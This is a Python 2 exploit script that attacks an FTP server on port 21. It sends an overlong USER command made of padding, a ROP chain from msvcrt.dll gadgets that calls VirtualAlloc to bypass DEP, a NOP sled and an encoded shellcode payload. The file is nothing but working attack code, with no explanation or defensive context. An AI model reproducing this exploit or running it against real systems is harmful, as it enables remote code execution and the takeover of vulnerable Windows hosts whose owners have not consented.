import socket
import struct
import sys


def create_rop_chain():

    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x77c31c54,  # POP EBP # RETN [msvcrt.dll]
      0x77c31c54,  # skip 4 bytes [msvcrt.dll]
      0x77c43416,  # POP EBX # RETN [msvcrt.dll]
      0x77c49ea4,  # INC EBX # RETN 0x04 [msvcrt.dll]
      0x77c49ea4,  # INC EBX # RETN 0x04 [msvcrt.dll]
      0x41414141,  # Filler (RETN offset compensation)
      0x77c2b860,  # POP EAX # RETN [msvcrt.dll]
      0x41414141,  # Filler (RETN offset compensation)
      0xa1bf4fcd,  # put delta into eax (-> put 0x00001000 into edx)
      0x77c28081,  # ADD EAX,5E40C033 # RETN [msvcrt.dll]
      0x77c48f9c,  # XCHG EAX,EDX # RETN [msvcrt.dll]
      0x77c3e372,  # POP EAX # RETN [msvcrt.dll]
      0xa2f7bab5,  # put delta into eax (-> put 0x00000040 into ecx)
      0x77c21556,  # ADD EAX,5D08458B # RETN [msvcrt.dll]
      0x77c49f38,  # XCHG EAX,ECX # RETN [msvcrt.dll]
      0x77c1e93d,  # POP EDI # RETN [msvcrt.dll]
      0x77c37a42,  # RETN (ROP NOP) [msvcrt.dll]
      0x77c2a18d,  # POP ESI # RETN [msvcrt.dll]
      0x77c1aacc,  # JMP [EAX] [msvcrt.dll]
      0x77c11d16,  # POP EAX # RETN [msvcrt.dll]
      0x77c0110c,  # ptr to &VirtualAlloc() [IAT msvcrt.dll]
      0x77c048a1,  # PUSHAD # RETN [msvcrt.dll]
      0x77c49eac,  # ptr to 'push esp # ret 0x04' [msvcrt.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

hostname = sys.argv[1]
username = "A" * 485
username += rop_chain  # "\xED\x1E\x94\x7C"
username += "\x90" * 16
buf = ""
buf += "\xbd\xb2\xbb\xa1\xbb\xdb\xca\xd9\x74\x24\xf4\x5f\x2b"
buf += "\xc9\xb1\x53\x31\x6f\x12\x83\xef\xfc\x03\xdd\xb5\x43"
buf += "\x4e\xdd\x22\x01\xb1\x1d\xb3\x66\x3b\xf8\x82\xa6\x5f"
buf += "\x89\xb5\x16\x2b\xdf\x39\xdc\x79\xcb\xca\x90\x55\xfc"
buf += "\x7b\x1e\x80\x33\x7b\x33\xf0\x52\xff\x4e\x25\xb4\x3e"
buf += "\x81\x38\xb5\x07\xfc\xb1\xe7\xd0\x8a\x64\x17\x54\xc6"
buf += "\xb4\x9c\x26\xc6\xbc\x41\xfe\xe9\xed\xd4\x74\xb0\x2d"
buf += "\xd7\x59\xc8\x67\xcf\xbe\xf5\x3e\x64\x74\x81\xc0\xac"
buf += "\x44\x6a\x6e\x91\x68\x99\x6e\xd6\x4f\x42\x05\x2e\xac"
buf += "\xff\x1e\xf5\xce\xdb\xab\xed\x69\xaf\x0c\xc9\x88\x7c"
buf += "\xca\x9a\x87\xc9\x98\xc4\x8b\xcc\x4d\x7f\xb7\x45\x70"
buf += "\xaf\x31\x1d\x57\x6b\x19\xc5\xf6\x2a\xc7\xa8\x07\x2c"
buf += "\xa8\x15\xa2\x27\x45\x41\xdf\x6a\x02\xa6\xd2\x94\xd2"
buf += "\xa0\x65\xe7\xe0\x6f\xde\x6f\x49\xe7\xf8\x68\xae\xd2"
buf += "\xbd\xe6\x51\xdd\xbd\x2f\x96\x89\xed\x47\x3f\xb2\x65"
buf += "\x97\xc0\x67\x13\x9f\x67\xd8\x06\x62\xd7\x88\x86\xcc"
buf += "\xb0\xc2\x08\x33\xa0\xec\xc2\x5c\x49\x11\xed\x6f\x8f"
buf += "\x9c\x0b\x05\x9f\xc8\x84\xb1\x5d\x2f\x1d\x26\x9d\x05"
buf += "\x35\xc0\xd6\x4f\x82\xef\xe6\x45\xa4\x67\x6d\x8a\x70"
buf += "\x96\x72\x87\xd0\xcf\xe5\x5d\xb1\xa2\x94\x62\x98\x54"
buf += "\x34\xf0\x47\xa4\x33\xe9\xdf\xf3\x14\xdf\x29\x91\x88"
buf += "\x46\x80\x87\x50\x1e\xeb\x03\x8f\xe3\xf2\x8a\x42\x5f"
buf += "\xd1\x9c\x9a\x60\x5d\xc8\x72\x37\x0b\xa6\x34\xe1\xfd"
buf += "\x10\xef\x5e\x54\xf4\x76\xad\x67\x82\x76\xf8\x11\x6a"
buf += "\xc6\x55\x64\x95\xe7\x31\x60\xee\x15\xa2\x8f\x25\x9e"
buf += "\xdc\x7e\xf7\x0b\x48\xd9\x62\x76\x14\xda\x59\xb5\x21"
buf += "\x59\x6b\x46\xd6\x41\x1e\x43\x92\xc5\xf3\x39\x8b\xa3"
buf += "\xf3\xee\xac\xe1"
username += buf
username += "\xCC" * (1024 - len(rop_chain) - 16 - 485 - len(buf))

password = "whatever"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((hostname, 21))
except:
    print "[-] Connection error"
    response = sock.recv(2000)
    print response
    sys.exit(1)

sock.send("USER %s" % username)
response = sock.recv(2000)
print "[+] Response:\n %s" % response
sock.send("PASS %s\r\n" % password)
response = sock.recv(2000)
print "[+] Response:\n %s" % response
sock.close()




